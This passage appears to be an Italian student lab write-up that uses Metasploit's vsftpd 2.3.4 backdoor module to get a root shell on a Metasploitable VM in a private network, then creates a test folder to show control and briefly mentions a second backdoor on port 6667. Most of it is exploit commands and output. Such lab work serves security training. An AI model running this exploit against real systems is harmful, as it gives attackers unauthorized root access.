configuriamo l’exploit e il payload adatto a quello che vogliamo fare, settiamo l’ip e la porta target e lanciamo l’exploit per entrare ed avere il terminale avanzato di metasploitabable da kali da cui possiamo usare qualunque comando vogliamo

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

[*] 192.168.49.101:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.49.101:21 - USER: 331 Please specify the password.
[+] 192.168.49.101:21 - Backdoor service has been spawned, handling...
[+] 192.168.49.101:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.50.100:40579 → 192.168.49.101:6
200) at 2023-03-06 05:45:04 -0500

ifconfig
eth0      Link encap:Ethernet  HWaddr 08:00:27:76:8e:fb
          inet addr:192.168.49.101  Bcast:192.168.49.255  Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fe76:8efb/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:20 errors:0 dropped:0 overruns:0 frame:0
          TX packets:85 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:1508 (1.4 KB)  TX bytes:9503 (9.2 KB)
          Base address:0×d020 Memory:f0200000-f0220000

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:119 errors:0 dropped:0 overruns:0 frame:0
          TX packets:119 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:31933 (31.1 KB)  TX bytes:31933 (31.1 KB)
```

utilizziamo il comando mkdir nella directory (/) e creiamo la cartella test_metsploit
come possiamo vedere facendo ls su metasploitable vediamo come la cartella sia stata creata

```
mkdir test_metasploit
ls
bin
boot
cdrom
dev
etc
home
initrd
initrd.img
lib
lost+found
media
mnt
nohup.out
opt
proc
root
sbin
srv
sys
test_metasploit
tmp
```

```
broadcast 192.168.49.255
gateway 192.168.49.1

[ Read 15 lines ]

msfadmin@metasploitable:~$ ls
use  vulnerable
msfadmin@metasploitable:~$ ls
use  vulnerable
msfadmin@metasploitable:~$ cd ..
msfadmin@metasploitable:/home$ ls
ftp  msfadmin  service  user
msfadmin@metasploitable:/home$ cd ..
msfadmin@metasploitable:/$ ls
bin    dev   initrd      lost+found  nohup.out  root  sys             usr
boot   etc   initrd.img  media       opt        sbin  test_metasploit  var
cdrom  home  lib         mnt         proc       srv   tmp             vmlinuz
msfadmin@metasploitable:/$
```

facciamo l’exploit anche sulla porta 6667 utilizzando la backdoor apposita a abbiamo preso il controllo anche di quella porta